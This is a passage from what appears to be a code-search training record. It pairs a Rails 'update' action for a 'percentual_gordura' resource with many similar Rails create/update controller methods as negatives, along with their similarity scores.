:unprocessable_entity }\n end\n end\n end", "def create\n @gios_measurment = GiosMeasurment.new(gios_measurment_params)\n\n respond_to do |format|\n if @gios_measurment.save\n format.html { redirect_to @gios_measurment, notice: 'Gios measurment was successfully created.' }\n format.json { render :show, status: :created, location: @gios_measurment }\n else\n format.html { render :new }\n format.json { render json: @gios_measurment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n params[:descuento_b] == \"1\" ? @descuento = params[:pago][:precio].to_f*Estudio.find(params[:pago][:tipo_id]).descuento : @descuento = 0\n \n subtotal = params[:pago][:precio].to_f - @descuento\n @pago = Pago.create(\n :forma_pago => params[:pago][:forma_pago],:factura => params[:pago][:factura],\n :folio_factura => params[:pago][:folio_factura],:total => subtotal ,:precio => params[:pago][:precio],\n :descuento => @descuento)\n \n respond_to do |format|\n if @pago.save\n operation = Operation.find(params[:pago][:operation_id])\n operation.update_attributes(:pago_id => @pago.id)\n cita = Cita.find_by_operation_id(params[:pago][:operation_id])\n cita.pagar_estudio_pago!\n flash[:notice] = 'Pago was successfully created.'\n format.html { redirect_to(:action => 'show', :id => @pago.id ,:paciente_id => params[:pago][:paciente_id],\n :operation_id => params[:pago][:operation_id]) }\n format.xml { render :xml => @pago, :status => :created, :location => @pago }\n\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @pago.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @questionario_egresso = QuestionarioEgresso.new(questionario_egresso_params)\n\n respond_to do |format|\n if @questionario_egresso.save\n format.html { redirect_to questionario_egressos_path, notice: 'Questionario incluído com sucesso.' }\n format.json { render :show, status: :created, location: questionario_egressos_path }\n else\n format.html { render :new }\n format.json { render json: @questionario_egresso.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ganho = Ganho.new(ganho_params)\n\n respond_to do |format|\n if @ganho.save\n format.html { redirect_to ganhos_path, notice: 'Ganho was successfully created.' }\n format.json { render :show, status: :created, location: @ganho }\n else\n format.html { render :new }\n format.json { render json: @ganho.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @provincium = Provincium.new(provincium_params)\n\n respond_to do |format|\n if @provincium.save\n format.html { redirect_to @provincium, notice: 'Provincium was successfully created.' }\n format.json { render :show, status: :created, location: @provincium }\n else\n format.html { render :new }\n format.json { render json: @provincium.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ultimo_grado_de_estudio = UltimoGradoDeEstudio.new(params[:ultimo_grado_de_estudio])\n\n respond_to do |format|\n if @ultimo_grado_de_estudio.save\n format.html { redirect_to @ultimo_grado_de_estudio, notice: 'Ultimo grado de estudio was successfully created.' }\n format.json { render json: @ultimo_grado_de_estudio, status: :created, location: @ultimo_grado_de_estudio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ultimo_grado_de_estudio.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7150448", "0.62979126", "0.6180992", "0.6161287", "0.61237556", "0.6109472", "0.6044457", "0.6028358", "0.59720045", "0.58923197", "0.5858864", "0.58372694", "0.58051026", "0.57812005", "0.5759819", "0.57506216", "0.57377195", "0.5720735", "0.5710153", "0.57080644", "0.56930786", "0.5683785", "0.5676963", "0.56767726", "0.5662318", "0.56500655", "0.5637295", "0.56359977", "0.5632601", "0.56184936", "0.5614944", "0.56101894", "0.56099635", "0.560595", "0.5594471", "0.5592451", "0.5591944", "0.55917144", "0.55829865", "0.556111", "0.5555157", "0.5550971", "0.5550095", "0.55447334", "0.5542737", "0.5541205", "0.5530141", "0.5524419", "0.5520504", "0.5518722", "0.5518046", "0.5514929", "0.55142975", "0.550808", "0.55056125", "0.5504876", "0.5503227", "0.550228", "0.5489411", "0.54859746", "0.5485959", "0.5484645", "0.54837716", "0.5469239", "0.5465905", "0.54598725", "0.54590243", "0.5444259", "0.5443555", "0.5443503", "0.5441598", "0.5441226", "0.5438084", "0.54365134", "0.5434227", "0.5429064", "0.54284817", "0.54281527", "0.5426234", "0.5418355", "0.54168165", "0.54098356", "0.54051214", "0.5404154", "0.5401635", "0.53998363", "0.5399012", "0.5396207", "0.5396171", "0.53947306", "0.5393443", "0.539043", "0.5386486", "0.5386058", "0.53849244", "0.5382024", "0.5381712", "0.538165", "0.5380222", "0.5378392" ]
0.7277088
0
PATCH/PUT /percentual_gorduras/1 PATCH/PUT /percentual_gorduras/1.json
def update respond_to do |format| if @percentual_gordura.update(percentual_gordura_params) format.html { redirect_to @percentual_gordura, notice: 'Percentual gordura was successfully updated.' } format.json { head :no_content } else format.html { render action: 'edit' } format.json { render json: @percentual_gordura.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n respond_to do |format|\n if @percentage.update(percentage_params)\n format.html { redirect_to @percentage, notice: 'Percentage was successfully updated.' }\n format.json { render :show, status: :ok, location: @percentage }\n else\n format.html { render :edit }\n format.json { render json: @percentage.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @sivic_discipulo.update(sivic_discipulo_params_netested)\n format.html { redirect_to @sivic_discipulo, notice: 'Registro alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sivic_discipulo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # @person = Person.find(params[:id])\n # @person.pct_complete = @person.requirement_progress\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, :notice => 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @tipo_pregunta = TipoPregunta.find(params[:id])\n\n if @tipo_pregunta.update(params[:tipo_pregunta])\n head :no_content\n else\n render json: @tipo_pregunta.errors, status: :unprocessable_entity\n end\n end", "def update\n @respuesta = Respuesta.find(params[:id])\n\n if @respuesta.update(params[:respuesta])\n head :no_content\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end", "def update\n\t\tauthorize! :update, DetalleRestriccion\n respond_to do |format|\n @concepto_gastos = ConceptoGasto.all\n if @detalle_restriccion.update(detalle_restriccion_params)\n format.html { redirect_to gestionar_restricciones_path, notice: 'Actualizado correctamente'}\n #format.html { redirect_to @detalle_restriccion, notice: 'Detalle restriccion fue actualizado satisfactoriamente.' }\n #format.json { render :show, status: :ok, location: @detalle_restriccion }\n else\n format.html { redirect_to gestionar_restricciones_path, alert: 'No pueden guardarse'}\n #format.html { render :edit }\n #format.json { render json: @detalle_restriccion.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @gatineo.update(gatineo_params)\n format.html { redirect_to @gatineo, notice: 'Gatineo atualizado com sucesso!' }\n format.json { render :show, status: :ok, location: @gatineo }\n else\n format.html { render :edit }\n format.json { render json: @gatineo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @palabra = Palabra.find(params[:id])\n @palabra.significados = params[:significados] \n respond_to do |format|\n if @palabra.update_attributes(params[:palabra])\n format.html { redirect_to @palabra, notice: 'La Palabra fue actualizada correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @palabra.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @compra_venta_normal.update(compra_venta_normal_params)\n format.html { redirect_to @compra_venta_normal, notice: 'Compra venta normal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @compra_venta_normal.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @ocs_generada.update(ocs_generada_params)\n format.html { redirect_to @ocs_generada, notice: 'Ocs generada was successfully updated.' }\n format.json { render :show, status: :ok, location: @ocs_generada }\n else\n format.html { render :edit }\n format.json { render json: @ocs_generada.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @respuesta = Respuesta.find(params[:id])\n\n respond_to do |format|\n if @respuesta.update_attributes(params[:respuesta])\n format.html { redirect_to @respuesta, notice: 'Respuesta was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @respuesta.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @gato.update(gato_params)\n format.html { redirect_to gatos_url, notice: 'Gato actualizado.' }\n format.json { render :show, status: :ok, location: @gato }\n else\n format.html { render :edit }\n format.json { render json: @gato.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @prueba_json.update(prueba_json_params)\n format.html { redirect_to @prueba_json, notice: 'Prueba json was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @prueba_json.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @giro_comercial.update(giro_comercial_params)\n format.html { redirect_to @giro_comercial, notice: 'Giro comercial fue exitosamente editado.' }\n format.json { render :show, status: :ok, location: @giro_comercial }\n else\n format.html { render :edit }\n format.json { render json: @giro_comercial.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @concepto_de_pago.update(concepto_de_pago_params)\n format.html { redirect_to @concepto_de_pago, notice: 'Concepto de pago fue actualizado exitosamente.' }\n format.json { render :show, status: :ok, location: @concepto_de_pago }\n else\n format.html { render :edit }\n format.json { render json: @concepto_de_pago.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @giang_vien = GiangVien.find(params[:id])\n\n respond_to do |format|\n if @giang_vien.update_attributes(params[:giang_vien]) \n format.json { head :no_content }\n else \n format.json { render json: @giang_vien.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @gasto = Gasto.find(params[:id])\n\n respond_to do |format|\n if @gasto.update_attributes(params[:gasto])\n format.html { redirect_to @gasto, notice: 'Gasto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gasto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @gauge = Gauge.find(params[:id])\n\n respond_to do |format|\n if @gauge.update_attributes(params[:gauge])\n format.html { redirect_to @gauge, notice: 'Gauge was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gauge.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def update\n @good = Good.find(params[:id])\n\n respond_to do |format|\n if @good.update_attributes(params[:good])\n format.html { redirect_to :action => \"index\" }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @good.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @grade_horario.update(grade_horario_params)\n format.html { redirect_to @grade_horario, notice: 'Grade horario was successfully updated.' }\n format.json { render :show, status: :ok, location: @grade_horario }\n else\n format.html { render :edit }\n format.json { render json: @grade_horario.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @nota_progreso.update(nota_progreso_params)\n format.html { redirect_to paciente_historia_clinica_nota_progreso_path(@paciente, @historia_clinica, @nota_progreso), notice: 'Nota de Evolución actualizada Satisfactoriamente.' }\n format.json { render :show, status: :ok, location: @nota_progreso }\n else\n format.html { render :edit }\n format.json { render json: @nota_progreso.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @seguro = Seguro.find(params[:id])\n\n respond_to do |format|\n if @seguro.update_attributes(params[:seguro])\n format.html { redirect_to @seguro, notice: 'Seguro was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @seguro.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if !@current_user || (@current_user.admin != 1 && @current_user.admin != 2)\n return head :forbidden\n end\n respond_to do |format|\n if @repasgcc.update(repasgcc_params)\n format.html { redirect_to @repasgcc, notice: 'Le formulaire pour le repas du grupo a bien été modifié.' }\n format.json { render :show, status: :ok, location: @repasgcc }\n else\n format.html { render :edit }\n format.json { render json: @repasgcc.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @votaciones_hist.update(votaciones_hist_params)\n format.html { redirect_to @votaciones_hist, notice: 'Votaciones hist was successfully updated.' }\n format.json { render :show, status: :ok, location: @votaciones_hist }\n else\n format.html { render :edit }\n format.json { render json: @votaciones_hist.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @refugee.update(refugee_params)\n format.html { redirect_to @refugee, notice: 'Refugee was successfully updated.' }\n format.json { render :show, status: :ok, location: @refugee }\n else\n format.html { render :edit }\n format.json { render json: @refugee.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @familium = Familium.find(params[:id])\n\n respond_to do |format|\n if @familium.update_attributes(params[:familium])\n format.html { redirect_to @familium, notice: 'Familia fue actualizada existosamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @familium.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tipo_pensum = TipoPensum.find(params[:id])\n\n respond_to do |format|\n if @tipo_pensum.update_attributes(params[:tipo_pensum])\n format.html { redirect_to @tipo_pensum, notice: 'Tipo pensum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_pensum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @galinha.update(galinha_params)\n format.html { redirect_to @galinha, notice: 'Galinha was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @galinha.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @galletum.update(galletum_params)\n format.html { redirect_to @galletum, notice: 'Galletum was successfully updated.' }\n format.json { render :show, status: :ok, location: @galletum }\n else\n format.html { render :edit }\n format.json { render json: @galletum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @feat = @person.feats.find(params[:id])\n level_old = @person.level\n\n if params[:feat][:completed] == '1'\n @feat.complete\n else\n @feat.uncomplete\n end\n sign = params[:feat][:completed] == '1' ? '+': '-'\n \n has_leveled = @person.level > level_old\n\n respond_to do |format|\n format.json { render :json => {\n :xpGained => \"#{sign}#{@feat.xp}\",\n :xpTotal => @person.xp,\n :next_level_ratio => @person.next_level_ratio,\n :extra_life => @person.level_to_string,\n :has_leveled => has_leveled,\n :completed => @feat.completed,\n :streak => @feat.calculate_streak}}\n \n end\n\n end", "def update\n respond_to do |format|\n if @genero.update(genero_params)\n flash[:success] = \"Gênero #{@genero.nome} foi editado com sucesso!\"\n format.html { redirect_to @genero }\n format.json { render :show, status: :ok, location: @genero }\n else\n flash.now[:danger] = \"Gênero #{@genero.nome} não foi editado com sucesso!\"\n format.html { render :edit }\n format.json { render json: @genero.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n if @veiculo.update_attributes(params[:veiculo])\n format.html { redirect_to @veiculo, :notice => 'Veiculo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @ganho.update(ganho_params)\n format.html { redirect_to @ganho, notice: 'Ganho was successfully updated.' }\n format.json { render :show, status: :ok, location: @ganho }\n else\n format.html { render :edit }\n format.json { render json: @ganho.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tipoapreensao.update(tipoapreensao_params)\n format.html { redirect_to @tipoapreensao, notice: 'Tipoapreensao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipoapreensao.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n prepara_form\n respond_to do |format|\n if @garagem.update(garagem_params)\n format.html { redirect_to @garagem, notice: 'Garagem foi editada com sucesso' }\n format.json { render :show, status: :ok, location: @garagem }\n else\n format.html { render :edit }\n format.json { render json: @garagem.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @congresso.update(congresso_params)\n format.html { redirect_to @congresso, notice: 'Congresso was successfully updated.' }\n format.json { render :show, status: :ok, location: @congresso }\n else\n format.html { render :edit }\n format.json { render json: @congresso.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @ton_giao.update(ton_giao_params)\n format.html { redirect_to @ton_giao, notice: 'Ton giao was successfully updated.' }\n format.json { render :show, status: :ok, location: @ton_giao }\n else\n format.html { render :edit }\n format.json { render json: @ton_giao.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @api_v1_progress.update(api_v1_progress_params)\n format.html { redirect_to @api_v1_progress, notice: 'Progress was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_progress }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_progress.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @ginasio = Ginasio.find(params[:id])\n\n respond_to do |format|\n if @ginasio.update_attributes(params[:ginasio])\n format.html { redirect_to @ginasio, :flash => { :success => 'Dados do ginasio alterados com successo!' } }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @ginasio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @objeto.update(referencia_base_params)\n format.html { redirect_to @objeto, notice: \"Referencia base was successfully updated.\" }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @questionario_egresso.update(questionario_egresso_params)\n format.html { redirect_to home_path, notice: 'Questionario preenchido com sucesso.' }\n format.json { render :show, status: :ok, location: questionario_egressos_path }\n else\n format.html { render :edit }\n format.json { render json: @questionario_egresso.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @colegiatura = Colegiatura.find(params[:id])\n\n respond_to do |format|\n if @colegiatura.update_attributes(params[:colegiatura])\n format.html { redirect_to @colegiatura, notice: 'Colegiatura was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @colegiatura.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @regraponto.update(regraponto_params)\n format.html { redirect_to @regraponto, notice: 'Regraponto was successfully updated.' }\n format.json { render :show, status: :ok, location: @regraponto }\n else\n format.html { render :edit }\n format.json { render json: @regraponto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @propuesta = Propuesta.find(params[:id])\n\n respond_to do |format|\n if @propuesta.update_attributes(params[:propuesta])\n format.html { redirect_to propuestas_periodo_propuestas_path(:id=>@propuesta.periodo_propuesta.id), :notice => 'Propuesta fue actualizado correctamente.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @propuesta.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @empresa = Empresa.find(params[:empresa_id]) \n @producto = @empresa.productos.find(params[:producto_id])\n @galeria_prep_mate = @producto.galeria_prep_mates.find(params[:id])\n respond_to do |format|\n if @galeria_prep_mate.update(galeria_prep_mate_params)\n format.html { redirect_to empresa_producto_galeria_prep_mates_path, notice: 'Galeria prep mate was successfully updated.' }\n format.json { render :show, status: :ok, location: @galeria_prep_mate }\n else\n format.html { render :edit }\n format.json { render json: @galeria_prep_mate.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @gato.update(gato_params)\n format.html { redirect_to @gato, notice: 'Gato was successfully updated.' }\n format.json { render :show, status: :ok, location: @gato }\n else\n format.html { render :edit }\n format.json { render json: @gato.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @good.update(good_params)\n format.html { redirect_to @good, notice: 'Good was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @good.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @voluntario.update(voluntario_params)\n format.html { redirect_to @voluntario, notice: 'Voluntario was successfully updated.' }\n format.json { render :show, status: :ok, location: @voluntario }\n else\n format.html { render :edit }\n format.json { render json: @voluntario.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @voluntario.update(voluntario_params)\n format.html { redirect_to @voluntario, notice: 'Voluntario was successfully updated.' }\n format.json { render :show, status: :ok, location: @voluntario }\n else\n format.html { render :edit }\n format.json { render json: @voluntario.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @encuesta_preguntum.update(encuesta_preguntum_params)\n format.html { redirect_to @encuesta_preguntum, notice: 'Encuesta preguntum was successfully updated.' }\n format.json { render :show, status: :ok, location: @encuesta_preguntum }\n else\n format.html { render :edit }\n format.json { render json: @encuesta_preguntum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n \n if params[:id]==\"edit_familias_propiedades\"\n edit_familias_propiedades\n return\n end\n \n #if params[:familia][\"articulos_grupopropiedades_attributes\"]\n# componer_articulo\n# return\n #end \n \n respond_to do |format|\n if @familia.update(familia_params) \n \n format.html { redirect_to familias_path(:id => @familia.padre_id), notice: 'Familia was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @familia.errors, status: :unprocessable_entity }\n end\n end\n \n end", "def update\n respond_to do |format|\n if @alumno.update(alumno_params)\n format.html { redirect_to grupos_path, notice: '#datos actualizados' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @alumno.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @grua.update(grua_params)\n format.html { redirect_to gruas_url, notice: 'Grua Se ha actualizado correctamente.' }\n format.json { render :index, status: :ok, location: @grua }\n else\n format.html { render :edit }\n format.json { render json: @grua.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @familium.update(familium_params)\n format.html { redirect_to @familium, notice: 'Familium was successfully updated.' }\n format.json { render :show, status: :ok, location: @familium }\n else\n format.html { render :edit }\n format.json { render json: @familium.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n nueva_cantidad = compra_params[:cantidad].to_i\n\n respond_to do |format|\n if @compra.edit_stock(nueva_cantidad) && @compra.update(compra_params)\n format.html { redirect_to @compra, notice: 'Compra was successfully updated.' }\n format.json { render :show, status: :ok, location: @compra }\n else\n format.html { render :edit }\n format.json { render json: @compra.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plato = Plato.find(params[:id])\n\n if @plato.update(plato_params)\n head :no_content\n else\n render json: @plato.errors, status: :unprocessable_entity\n end\n end", "def update\n @preguntum = Preguntum.find(params[:id])\n\n respond_to do |format|\n if @preguntum.update_attributes(params[:preguntum])\n format.html { redirect_to @preguntum, notice: 'Preguntum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @preguntum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @objeto.update(tipo_referencia_base_params)\n format.html { redirect_to @objeto, notice: \"Tipo referencia base was successfully updated.\" }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n currency_to_number params[:pagamento][:valor]\n\n @pagamento = Pagamento.find(params[:id])\n\n respond_to do |format|\n if @pagamento.update_attributes(params[:pagamento])\n #format.html { redirect_to @pagamento, notice: 'Pagamento atualizado com sucesso.' }\n format.html { redirect_to @pagamento.os, notice: 'Pagamento atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pagamento.errors, status: :unprocessable_entity }\n end\n end\n end", "def restobooking\n @buchung = Buchung.find(params[:id])\n @buchung.status='B' \n \n respond_to do |format|\n if @buchung.update_attributes(params[:buchung])\n format.html { redirect_to @buchung, notice: 'Buchung wurde erfolgreich geaendert.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @buchung.errors, status: :unprocessable_entity }\n end\n end \n end", "def update\n respond_to do |format|\n if @budget.update(budget_params)\n format.html { redirect_to @budget, notice: 'El presupuesto se actualizó correctamente' }\n format.json { render :show, status: :ok, location: @budget }\n else\n format.html { render :edit }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @progress = Progress.find(params[:id])\n\n respond_to do |format|\n if @progress.update_attributes(params[:progress])\n format.json { head :no_content }\n else\n format.json { render json: @progress.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @growth.update(growth_params)\n format.html { redirect_to @growth, notice: 'Growth was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @growth.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @recurso = Recurso.find(params[:id])\n\n respond_to do |format|\n if @recurso.update_attributes(params[:recurso])\n format.html { redirect_to @recurso, notice: 'O recurso de auto de infração foi atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recurso.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @protocolo.update(protocolo_params)\n addlog(\"Protocolo alterado\")\n format.html { redirect_to @protocolo, notice: 'Protocolo foi atualizado.' }\n format.json { render :show, status: :ok, location: @protocolo }\n else\n format.html { render :edit }\n format.json { render json: @protocolo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @dependencia = Dependencia.find(params[:id])\n\n respond_to do |format|\n if @dependencia.update_attributes(dependencia_params)\n format.html { redirect_to @dependencia, notice: 'Dependencia se actualizo correctamente.' }\n format.json { head :no_content }\n format.js{}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @dependencia.errors, status: :unprocessable_entity }\n format.js{}\n end\n end\n end", "def update\n respond_to do |format|\n if @problema.update(problema_params)\n format.html { redirect_to consulta_problema_path(@consulta), notice: 'Problema Actualizado' }\n format.json { render :show, status: :ok, location: @problema }\n else\n format.html { render :edit }\n format.json { render json: @problema.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @gran_unidad.update(gran_unidad_params)\n format.html { redirect_to @gran_unidad, notice: 'Gran unidad was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @gran_unidad.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @validate_percentage.update(validate_percentage_params)\n format.html { redirect_to @validate_percentage, notice: 'Validate percentage was successfully updated.' }\n format.json { render :show, status: :ok, location: @validate_percentage }\n else\n format.html { render :edit }\n format.json { render json: @validate_percentage.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @socio_carteira_prof.update(socio_carteira_prof_params)\n format.html { redirect_to :back }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @socio_carteira_prof.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n respond_to do |format|\r\n @egresso.skip_fields_validation = false\r\n if @egresso.update(egresso_params)\r\n if current_admin.try(:adm?)\r\n format.html { redirect_to egressos_path, notice: 'Egresso atualizado com sucesso.' }\r\n format.json { render :show, status: :ok, location: egressos_path }\r\n else\r\n format.html { redirect_to :back, notice: 'Dados atualizados com sucesso.' }\r\n format.json { render :show, status: :ok, location: :back }\r\n end\r\n\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @egresso.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n @frais_repa = FraisRepa.find(params[:id])\n\n respond_to do |format|\n if @frais_repa.update_attributes(params[:frais_repa])\n format.html { redirect_to @frais_repa, :notice => 'Le frais de repas a bien été modifé' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @frais_repa.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @peso = Peso.find(params[:id])\n\n respond_to do |format|\n if @peso.update_attributes(params[:peso])\n format.html { redirect_to @peso, notice: 'Peso was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @peso.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @voluntario.update(voluntario_params) and @voluntario.update_attributes(:modificador => current_user.id)\n format.html { redirect_to @voluntario, notice: 'Voluntario was successfully updated.' }\n format.json { render :show, status: :ok, location: @voluntario }\n else\n format.html { render :edit }\n format.json { render json: @voluntario.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @voluntario = Voluntario.find(params[:id])\n params[:voluntario].delete :inclusoes\n\n respond_to do |format|\n if @voluntario.update_attributes(params[:voluntario])\n format.html { redirect_to(@voluntario, :notice => 'Voluntário atualizado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @voluntario.errors, :status => :unprocessable_entity }\n end\n end\n end", "def actualizacion \n fiesta.update (params[:id]) \n render json: fiesta\n end", "def update\n @competency_pertenece_asignatura = CompetencyPerteneceAsignatura.find(params[:id])\n\n respond_to do |format|\n if @competency_pertenece_asignatura.update_attributes(params[:competency_pertenece_asignatura])\n format.html { redirect_to @competency_pertenece_asignatura, notice: 'Competency pertenece asignatura was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @competency_pertenece_asignatura.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @problema.update(problema_params)\n format.html { redirect_to @problema, notice: 'Problema was successfully updated.' }\n format.json { render :show, status: :ok, location: @problema }\n else\n format.html { render :edit }\n format.json { render json: @problema.errors, status: :unprocessable_entity }\n end\n end\n end", "def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end", "def update\n respond_to do 